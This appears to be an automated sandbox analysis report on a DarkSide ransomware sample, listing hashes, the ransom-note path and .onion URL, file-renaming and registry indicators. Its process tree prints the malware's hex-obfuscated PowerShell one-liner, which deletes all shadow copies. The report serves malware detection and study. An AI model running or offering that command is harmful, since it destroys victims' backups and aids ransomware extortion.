Analysis
-
max time kernel
117s -
max time network
117s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:30
Static task
static1
Behavioral task
behavioral1
Sample
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
Resource
win10-en-20211208
General
-
Target
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe
-
Size
59KB
-
MD5
3d57934b0143b09e82092896580f90b0
-
SHA1
ecfb2a7f8b9cc9878a447c6733b01276c13c5c6b
-
SHA256
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9
-
SHA512
0cfdb2c274b11697c875ccbf1943cb5cdee488018eada30408d7f7efc63d6d7df4e954e7239e71de8f8b082b7e9126255524e941e6620eeadf03b7c412b16882
Malware Config
Extracted
C:\\README.27a6f0b5.TXT
darkside
http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Modifies extensions of user files 22 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exedescription ioc process File renamed C:\Users\Admin\Pictures\MountClear.raw => C:\Users\Admin\Pictures\MountClear.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\RevokeResolve.raw => C:\Users\Admin\Pictures\RevokeResolve.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\RevokeResolve.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\SyncSave.crw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\WatchCheckpoint.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\EnterRestore.tiff 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\ExportStep.png => C:\Users\Admin\Pictures\ExportStep.png.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\EnableAssert.tiff => C:\Users\Admin\Pictures\EnableAssert.tiff.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\EnableAssert.tiff.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\EnterRestore.tiff => C:\Users\Admin\Pictures\EnterRestore.tiff.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\MountClear.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\OutPublish.crw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\SyncSave.crw => C:\Users\Admin\Pictures\SyncSave.crw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\ConvertUnprotect.tif => C:\Users\Admin\Pictures\ConvertUnprotect.tif.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\ConvertUnprotect.tif.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\ExportStep.png.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\FormatRemove.raw => C:\Users\Admin\Pictures\FormatRemove.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\FormatRemove.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\WatchCheckpoint.raw => C:\Users\Admin\Pictures\WatchCheckpoint.raw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\EnableAssert.tiff 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File opened for modification C:\Users\Admin\Pictures\EnterRestore.tiff.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe File renamed C:\Users\Admin\Pictures\OutPublish.crw => C:\Users\Admin\Pictures\OutPublish.crw.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\27a6f0b5.BMP" 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\27a6f0b5.BMP" 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe -
Modifies Control Panel 1 IoCs
Processes:
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallpaperStyle = "10" 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe -
Modifies registry class 5 IoCs
Processes:
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5\ = "27a6f0b5" 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\27a6f0b5.ico" 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exe5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exepid process 1560 powershell.exe 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeSecurityPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeTakeOwnershipPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeLoadDriverPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeSystemProfilePrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeSystemtimePrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeProfSingleProcessPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeIncBasePriorityPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeCreatePagefilePrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeBackupPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeRestorePrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeShutdownPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeDebugPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeSystemEnvironmentPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeRemoteShutdownPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeUndockPrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeManageVolumePrivilege 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: 33 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: 34 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: 35 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe Token: SeDebugPrivilege 1560 powershell.exe Token: SeBackupPrivilege 1752 vssvc.exe Token: SeRestorePrivilege 1752 vssvc.exe Token: SeAuditPrivilege 1752 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exedescription pid process target process PID 792 wrote to memory of 1560 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe powershell.exe PID 792 wrote to memory of 1560 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe powershell.exe PID 792 wrote to memory of 1560 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe powershell.exe PID 792 wrote to memory of 1560 792 5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe"C:\Users\Admin\AppData\Local\Temp\5da3e6b4bea1eaceddb048a4a6bd702291189f42d15c4b2670de78984329b0a9.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
946161c301a38d18b274377d9d921abf
SHA1ea9f33ce157886fe18ffbae249f30fcbd2176a27
SHA2560a60a64bc13c08c046692d06ef28bf9804c77865d2a4f3ab8fcf5422370c7bdb
SHA512c166c087c50e75a24ee5683e800c1af935920a273a2dabe58935737dbef917c2fe016c2d41463bd0eb25a6068c7d9597aa3876ff3098f9180a4189ece47b37a8
-
memory/792-54-0x0000000075321000-0x0000000075323000-memory.dmpFilesize
8KB
-
memory/1560-55-0x000007FEFBEB1000-0x000007FEFBEB3000-memory.dmpFilesize
8KB
-
memory/1560-57-0x0000000002510000-0x0000000002512000-memory.dmpFilesize
8KB
-
memory/1560-58-0x0000000002512000-0x0000000002514000-memory.dmpFilesize
8KB
-
memory/1560-59-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
-
memory/1560-56-0x000007FEF2D80000-0x000007FEF38DD000-memory.dmpFilesize
11.4MB
-
memory/1560-60-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB